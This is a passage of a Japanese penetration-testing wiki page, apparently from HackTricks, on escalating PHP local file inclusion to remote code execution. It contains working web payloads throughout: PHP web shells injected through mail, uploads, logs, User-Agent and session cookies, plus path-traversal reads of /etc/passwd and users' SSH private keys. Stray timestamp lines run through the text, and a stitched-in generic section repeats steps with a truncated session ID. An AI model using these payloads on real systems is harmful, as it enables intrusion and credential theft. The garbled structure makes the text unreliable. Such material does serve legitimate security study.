Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
2021-09-12 06:39:48 +00:00
2023-07-07 23:42:27 +00:00
### メール経由
内部アカウントuser@localhostに、`<?php echo system($_REQUEST["cmd"]); ?>` のようなPHPペイロードを含むメールを送信し、**`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のパスを使用してユーザーのメールをインクルードしようとしてください。
### /proc/\*/fd/\* 経由
2023-07-07 23:42:27 +00:00
1. シェルをたくさんアップロードします100個
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) をインクルードします。ここで、$PID はプロセスのPIDブルートフォースで見つけることができます、$FD はファイルディスクリプタ(これもブルートフォースで見つけることができます)です。
### /proc/self/environ 経由
ログファイルのように、User-Agentでペイロードを送信し、それが/proc/self/environファイル内に反映されるでしょう。
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
2023-07-07 23:42:27 +00:00
### アップロード経由
2023-07-07 23:42:27 +00:00
ファイルをアップロードできる場合は、シェルのペイロードを注入します(例:`<?php system($_GET['c']); ?>`)。
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
2023-07-07 23:42:27 +00:00
ファイルを読みやすく保つために、写真/ドキュメント/PDFのメタデータにインジェクトするのが最適です。
2023-07-07 23:42:27 +00:00
### Zipファイルのアップロード経由
2023-07-07 23:42:27 +00:00
PHPシェルが圧縮されたZIPファイルをアップロードし、アクセスします。
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
2023-07-07 23:42:27 +00:00
### PHPセッションを介して
2023-07-07 23:42:27 +00:00
ウェブサイトがPHPセッションPHPSESSIDを使用しているかどうかを確認します。
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
2023-07-07 23:42:27 +00:00
PHPでは、これらのセッションは_/var/lib/php5/sess\\_\[PHPSESSID]\_ファイルに保存されます。
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
2023-07-07 23:42:27 +00:00
クッキーを `<?php system('cat /etc/passwd');?>` に設定します。
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
# ファイルインクルージョンFile Inclusionを使用してPHPセッションファイルをインクルードする
このテクニックでは、ローカルファイルインクルージョンLocal File Inclusion, LFIを使用して、ターゲットのウェブアプリケーションにおいてPHPセッションファイルをインクルードします。
## 攻撃手法の概要
1. ターゲットのウェブアプリケーションにおいて、LFI脆弱性が存在するか確認します。
2. LFI脆弱性を利用して、ウェブアプリケーションのファイルインクルード機能を悪用します。
3. インクルードパラメータにPHPセッションファイルのパスを指定し、セッションデータを取得します。
## 攻撃手順
1. ターゲットのウェブアプリケーションにおいて、LFI脆弱性が存在するか確認します。通常、以下のようなパラメータを利用してLFIを試みます。
```
http://example.com/index.php?page=../../etc/passwd
```
上記の例では、`page`パラメータに`../../etc/passwd`を指定しています。
2. LFI脆弱性が存在する場合、ウェブアプリケーションのファイルインクルード機能を悪用します。以下のようなパラメータを利用して、ファイルインクルードを試みます。
```
http://example.com/index.php?page=/etc/passwd
```
上記の例では、`page`パラメータに`/etc/passwd`を指定しています。
3. インクルードパラメータにPHPセッションファイルのパスを指定し、セッションデータを取得します。以下のようなパラメータを利用します。
```
http://example.com/index.php?page=/var/lib/php/sessions/sess_1234567890abcdef
```
上記の例では、`page`パラメータに`/var/lib/php/sessions/sess_1234567890abcdef`を指定しています。
## 対策方法
以下の対策方法を実施することで、LFI攻撃からウェブアプリケーションを保護することができます。
2023-07-07 23:42:27 +00:00
- 入力検証とエスケープ処理を適切に実施する。
- ホワイトリスト方式を使用して、許可されたファイルのみをインクルードする。
- セッションファイルの保存場所を適切に設定する。
- セッションIDのランダム性を高める。
- セッションデータの暗号化を実施する。
2023-07-07 23:42:27 +00:00
以上が、LFIを使用してPHPセッションファイルをインクルードする攻撃手法の概要と対策方法です。
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
2023-07-07 23:42:27 +00:00
### SSHを介して
2023-07-07 23:42:27 +00:00
sshがアクティブな場合、使用されているユーザー/proc/self/statusおよび/etc/passwdを確認し、**\<HOME>/.ssh/id\_rsa**にアクセスを試みます。
2023-07-07 23:42:27 +00:00
### vsftpdログを介して
このFTPサーバーのログは、_**/var/log/vsftpd.log**_に保存されます。LFIがあり、公開されたvsftpdサーバーにアクセスできる場合、ユーザー名にPHPペイロードを設定してログインし、LFIを使用してログにアクセスできます。
2020-12-23 09:40:41 +00:00
### ファイル不要のphpフィルターを介して
2020-12-23 09:40:41 +00:00
この[**解説記事**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)では、**phpフィルターを使用して任意のコンテンツを生成**できることが説明されています。これは、ファイルに書き込む必要なく、インクルードのための**任意のphpコードを生成**できることを意味します。
2022-06-20 00:29:51 +00:00
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
{% endcontent-ref %}
2023-07-07 23:42:27 +00:00
### セグメンテーションフォールトを介して
2022-12-14 00:23:57 +00:00
ファイルをアップロードして、一時的に`/tmp`に保存し、**同じリクエスト**でセグメンテーションフォールトをトリガーし、**一時ファイルが削除されない**ようにし、それを検索できます。
2022-12-14 00:23:57 +00:00
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
{% endcontent-ref %}
2023-07-07 23:42:27 +00:00
### Nginx一時ファイルストレージを介して
2022-04-20 21:55:42 +00:00
**ローカルファイルインクルージョン**が見つかり、**Nginx**がPHPの前で実行されている場合、次のテクニックを使用してRCEを取得できるかもしれません。
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
{% endcontent-ref %}
2022-04-20 21:55:42 +00:00
2023-07-07 23:42:27 +00:00
### PHP\_SESSION\_UPLOAD\_PROGRESSを介して
2022-04-20 21:55:42 +00:00
**セッションがない**場合でも、`session.auto_start`が`Off`である場合、**`PHP_SESSION_UPLOAD_PROGRESS`**を**マルチパートPOST**データで提供すると、PHPは**セッションを有効に**します。これを悪用してRCEを取得できます。
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
{% endcontent-ref %}
2022-04-20 21:55:42 +00:00
2023-07-07 23:42:27 +00:00
### Windowsでの一時ファイルアップロードを介して
2022-04-20 21:55:42 +00:00
**ローカルファイルインクルージョン**が見つかり、サーバーが**Windows**で実行されている場合、RCEを取得できるかもしれません。
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
{% endcontent-ref %}
2022-04-20 21:55:42 +00:00
2023-07-07 23:42:27 +00:00
### phpinfo()file\_uploads = onを介して
2022-04-20 21:55:42 +00:00
2023-07-07 23:42:27 +00:00
**ローカルファイルインクルージョン**が見つかり、file\_uploads = onで**phpinfo()**を公開するファイルがある場合、RCEを取得できます。
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
{% endcontent-ref %}
2022-04-20 21:55:42 +00:00
2023-07-07 23:42:27 +00:00
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + パスの開示を介して
2022-04-20 21:55:42 +00:00
**ローカルファイルインクルージョン**が見つかり、一時ファイルのパスを**エクスフィルト**できるが、**サーバー**が**インクルードするファイルにPHPマークがあるかどうかをチェック**している場合、この**競合状態**を使用してそのチェックを**バイパス**できます。
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
{% endcontent-ref %}
2023-07-07 23:42:27 +00:00
### 永遠の待機+ブルートフォースを介して
2022-12-18 23:15:14 +00:00
2023-07-07 23:42:27 +00:00
LFIを悪用して**一時ファイルをアップロード**し、サーバーのPHP実行を**停止**させることができれば、**数時間にわたってファイル名をブルートフォース**して一時ファイルを見つけることができます。
2022-12-18 23:15:14 +00:00
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
{% endcontent-ref %}
2023-07-07 23:42:27 +00:00
### 致命的なエラーへ
2022-12-15 10:37:10 +00:00
2023-07-07 23:42:27 +00:00
`/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`のいずれかのファイルをインクルードします同じものを2回インクルードする必要があります
2022-12-15 10:37:10 +00:00
2023-07-07 23:42:27 +00:00
**これがどのように有用かはわかりませんが、有用かもしれません。**\
_PHP致命的なエラーを引き起こしても、アップロードされたPHP一時ファイルは削除されます。_
2022-12-15 10:37:10 +00:00
2022-12-19 16:08:19 +00:00
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
2022-12-15 10:37:10 +00:00
2023-07-07 23:42:27 +00:00
## 参考文献
[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
[PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてさらに学びましょう**
2023-02-27 09:28:45 +00:00
2023-07-07 23:42:27 +00:00
🐞 web3のバグチュートリアルを読む
2023-02-27 09:28:45 +00:00
2023-07-07 23:42:27 +00:00
🔔 新しいバグバウンティについて通知を受ける
2023-02-27 09:28:45 +00:00
2023-07-07 23:42:27 +00:00
💬 コミュニティディスカッションに参加する
2022-04-28 16:01:33 +00:00
2022-10-27 14:46:56 +00:00
<details>
2022-04-28 16:01:33 +00:00
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksをPDFでダウンロードしたりしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
2023-07-07 23:42:27 +00:00
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、[Twitter](https://twitter.com/hacktricks_live)で私をフォローしてください[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks\_live)。
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。